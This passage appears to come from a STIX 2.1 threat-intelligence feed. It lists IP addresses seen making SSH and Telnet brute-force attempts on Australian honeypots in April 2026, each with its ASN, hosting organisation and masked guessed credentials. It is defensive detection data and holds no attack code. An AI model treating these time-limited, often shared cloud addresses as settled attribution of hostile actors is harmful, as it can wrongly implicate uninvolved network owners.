      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--84b8750e-ff3f-49cc-bcaa-79641516646e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.233.123.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********3, H**********************3.",
      "id": "indicator--3ddd8f7b-e48e-4674-ab65-7bec34551736",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.77.85.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C*******8, H**********************3.",
      "id": "indicator--7c0ae792-0783-49bf-a91b-956888c03f8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.195.135.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271627. Organisation(s): ZAP TELECOM EIRELI.",
      "id": "indicator--88c9f50e-920d-4bff-b875-ac0f58aa6fb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.188.44.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 43766. Organisation(s): Mobile Telecommunication Company Saudi Arabia Joint-Stock company.",
      "id": "indicator--a7472dd3-ede6-499b-93fa-1b5550878d0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.39.229.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 47516. Organisation(s): Dehost Internet Ve Bilisim Teknolojileri Sanayi Ticaret Limited Sirketi.",
      "id": "indicator--f4411bc8-4dd5-4e9b-a8ca-1337f27bcc21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.132.49.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T06:15:11.000Z",
      "valid_until": "2026-06-01T06:15:08.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LA. ASN(s): 137905. Organisation(s): Mangkone Technology Co. Ltd.. Usernames observed (masked): r**t, u****u, ***, u**r, 3**********4. Passwords observed (masked): 1****3, ***, 1******8, 1******/, 1**************V.",
      "id": "indicator--500ec521-9a17-471b-a8d7-5a55c57c6bd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.114.147.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 208324. Organisation(s): Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist.",
      "id": "indicator--c776deba-6f85-4704-a873-2db1d096f98c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.244.147.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328471. Organisation(s): Hero-Telecoms.",
      "id": "indicator--98409e35-d54b-44d9-bcb7-542a2e42bbe0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.73.183.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A..",
      "id": "indicator--b0849d53-3cd4-4e6e-8203-53b0afa41942",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.123.145.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 46198. Organisation(s): Trilogy Dominicana, S.A..",
      "id": "indicator--39096187-a94d-4fbf-a3df-33b15451b531",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.0.81.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 27979. Organisation(s): Stel Chile S.A..",
      "id": "indicator--a7e8352f-a43d-477d-8e5b-8956972e0e18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.73.209.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17884. Organisation(s): PT. Uninet Media Sakti ISP. Usernames observed (masked): u****u, r**t, a***n, u****2, 3**********4. Passwords observed (masked): 1******8, 0****0, ***, 1**4, 1***5.",
      "id": "indicator--49c5960e-83bb-40a9-b264-d49a16cb1a29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.145.0.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, p******s, t**t, u****u, 3**********4. Passwords observed (masked): !******2, ***, 1*****c, 1*******@, 1*******x.",
      "id": "indicator--bc3c1de2-b281-4067-b190-7cb0d5bf7a87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.233.87.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C*******9, H**********************3.",
      "id": "indicator--7ce22bbc-f245-470e-95af-1544fbb50051",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.62.208.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11427. Organisation(s): Charter Communications Inc.",
      "id": "indicator--d70f86fe-430b-40b8-ab9b-6f3bafc7f13d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.146.38.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 39891. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--ac6ce38b-c89d-4f07-9eb6-ce612727b0b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.235.111.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--b2aba253-d04b-4555-8ede-c38a35c1af16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:15:05.000Z",
      "valid_until": "2026-06-01T07:15:03.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cf37728c-9697-435c-9db0-d3297dae7839",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '100.52.244.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133697. Organisation(s): Nikhil Network Solution.",
      "id": "indicator--c61facd4-1656-4789-85cd-fa93051bd246",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.145.168.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--b466c807-1785-4578-933b-3ddad46af35d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.235.239.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--93f5f70d-8b76-4d78-847e-fcd455a3b9f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.113.225.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8895d041-efa9-4f83-8f7d-867ad51bdac8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.113.235.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--970081b5-d28e-49ca-8bf1-5eeea693dd54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--9c000424-1021-4d3d-ab90-18a08927e8cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.181.219.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 55293. Organisation(s): A2 Hosting, Inc..",
      "id": "indicator--e228d5e9-4a67-4e3e-a7d6-dae24897a2f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.249.2.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262539. Organisation(s): DUNET LTDA.",
      "id": "indicator--104c165d-94d3-4663-94ed-5d1ccac083d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.72.27.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 23394. Organisation(s): Pacific Software Publishing, Inc..",
      "id": "indicator--834b87ee-ce58-4af5-89bd-73fd25614c8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '199.21.220.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 210457. Organisation(s): Kyonix Networks Limited.",
      "id": "indicator--7a12eaa8-bbb2-428d-a1ea-088682daacc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.26.252.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 7122. Organisation(s): Bell Canada.",
      "id": "indicator--a1c72667-2ba4-49ef-8f28-689ece36cebe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.200.179.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): u****u. Passwords observed (masked): 1************5.",
      "id": "indicator--26e129f2-ac8a-4b8f-8f76-8145e29e0f29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.154.192.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b36faf6b-5b39-4fe9-a724-8307dab40ef8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.53.189.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--b0ac41a1-a159-46f0-9a28-3e2e9335771c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.241.164.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 204. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--8184310b-c293-487a-921b-663b1d4e5656",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.77.236.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--b7e5b924-ce7d-40fa-ba56-9788de2c27cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '54.39.165.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 399334. Organisation(s): Skysilk.",
      "id": "indicator--05896bf5-9dc7-4cb5-8e48-81175191c5fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
